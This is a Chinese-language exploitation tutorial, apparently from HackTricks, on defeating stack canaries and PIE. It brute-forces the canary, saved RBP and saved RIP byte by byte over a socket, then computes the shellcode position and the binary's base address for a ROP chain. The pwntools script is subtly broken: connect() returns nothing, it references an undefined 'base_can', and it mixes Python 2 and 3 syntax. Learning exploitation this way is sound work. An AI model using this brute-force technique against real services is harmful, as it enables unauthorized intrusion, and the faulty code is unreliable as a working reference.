# BF 地址在栈中 {{#include ../../../banners/hacktricks-training.md}} **如果你面临一个受到 canary 和 PIE(位置无关可执行文件)保护的二进制文件,你可能需要找到一种方法来绕过它们。** ![](<../../../images/image (865).png>) > [!NOTE] > 请注意,**`checksec`** 可能无法发现一个二进制文件受到 canary 保护,如果它是静态编译的,并且无法识别该函数。\ > 然而,如果你发现一个值在函数调用开始时被保存到栈中,并且在退出之前检查了这个值,你可以手动注意到这一点。 ## 暴力破解地址 为了**绕过 PIE**,你需要**泄露一些地址**。如果二进制文件没有泄露任何地址,最好的方法是**暴力破解在脆弱函数中保存的 RBP 和 RIP**。\ 例如,如果一个二进制文件同时使用了 **canary** 和 **PIE** 保护,你可以开始暴力破解 canary,然后**下一个** 8 字节(x64)将是保存的 **RBP**,**下一个** 8 字节将是保存的 **RIP**。 > [!TIP] > 假设栈中的返回地址属于主二进制代码,如果漏洞位于二进制代码中,通常会是这种情况。 要从二进制文件中暴力破解 RBP 和 RIP,你可以判断一个有效的猜测字节是否正确,如果程序输出了某些内容或者它没有崩溃。可以使用与暴力破解 canary 提供的**相同函数**来暴力破解 RBP 和 RIP: ```python from pwn import * def connect(): r = remote("localhost", 8788) def get_bf(base): canary = "" guess = 0x0 base += canary while len(canary) < 8: while guess != 0xff: r = connect() r.recvuntil("Username: ") r.send(base + chr(guess)) if "SOME OUTPUT" in r.clean(): print "Guessed correct byte:", format(guess, '02x') canary += chr(guess) base += chr(guess) guess = 0x0 r.close() break else: guess += 1 r.close() print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) return base # CANARY BF HERE canary_offset = 1176 base = "A" * canary_offset print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary # PIE BF FROM HERE print("Brute-Forcing RBP") base_canary_rbp = get_bf(base_canary) RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:]) print("Brute-Forcing RIP") base_canary_rbp_rip = get_bf(base_canary_rbp) RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` 要击败 PIE,您需要做的最后一件事是计算 **从泄露的地址中获取有用的地址**:**RBP** 和 **RIP**。 从 **RBP** 您可以计算 **您在栈中写入 shell 的位置**。这对于知道您将要在栈中写入字符串 _"/bin/sh\x00"_ 的位置非常有用。要计算泄露的 RBP 和您的 shellcode 之间的距离,您只需在泄露 RBP 后放置一个 **断点** 并检查 **您的 shellcode 位于何处**,然后,您可以计算 shellcode 和 RBP 之间的距离: ```python INI_SHELLCODE = RBP - 1152 ``` 从 **RIP** 你可以计算出 **PIE 二进制文件的基地址**,这是你创建 **有效 ROP 链** 所需要的。\ 要计算基地址,只需执行 `objdump -d vunbinary` 并检查最新的反汇编地址: ![](<../../../images/image (479).png>) 在这个例子中,你可以看到只需要 **1.5 字节** 来定位所有代码,因此,在这种情况下,基地址将是 **泄露的 RIP,但以 "000" 结尾**。例如,如果你泄露了 `0x562002970ecf`,基地址就是 `0x562002970000`。 ```python elf.address = RIP - (RIP & 0xfff) ``` ## 改进 根据[**这篇文章的一些观察**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking),在泄露RBP和RIP值时,服务器可能不会因某些不是正确的值而崩溃,而BF脚本会认为它得到了正确的值。这是因为**某些地址即使不是完全正确的,也可能不会导致崩溃**。 根据那篇博客文章,建议在对服务器的请求之间添加短暂的延迟。 {{#include ../../../banners/hacktricks-training.md}}